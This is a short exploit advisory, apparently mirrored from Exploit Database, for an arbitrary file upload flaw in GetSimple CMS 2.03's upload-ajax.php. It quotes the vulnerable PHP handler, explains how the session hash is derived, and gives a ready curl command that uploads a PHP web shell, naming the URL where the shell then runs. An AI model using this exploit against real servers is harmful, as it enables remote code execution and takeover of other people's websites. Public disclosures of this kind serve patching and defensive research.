Getsimple CMS 2.03 – ‘upload-ajax.php’ Arbitrary File Upload

• Exploit Database
• 44 阅读

• 作者： s3rg3770 & Chuzz
  日期： 2011-02-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35353/

• source: https://www.securityfocus.com/bid/46427/info
  
  GetSimple CMS is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.
  
  An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
  
  GetSimple CMS 2.03 is vulnerable; other versions may also be affected. 
  
  Bug Code:
  getsimple/admin/upload-ajax.php
  
  if ($_REQUEST['sessionHash'] === $SESSIONHASH) {
  if (!empty($_FILES))
  {
  $tempFile = $_FILES['Filedata']['tmp_name'];
  $name = clean_img_name($_FILES['Filedata']['name']);
  $targetPath = GSDATAUPLOADPATH;
  $targetFile = str_replace(‘//’,'/’,$targetPath) . $name;
  move_uploaded_file($tempFile, $targetFile);
  ----------------------------------------------------------------------
  
  Generating SESSIONHASH: md5( $salt. $sitename)
  [XPL]
  
  curl -F “Filedata=@yourshell.txt;filename=shell.php” 
  http://getsimple_localhost/admin/upload-ajax.php\?sessionHash\=HASH CREATO
  
  After, enjoy your Bacon-Shell here ...http://getsimple_localhost/ 
  data/uploads/shell.php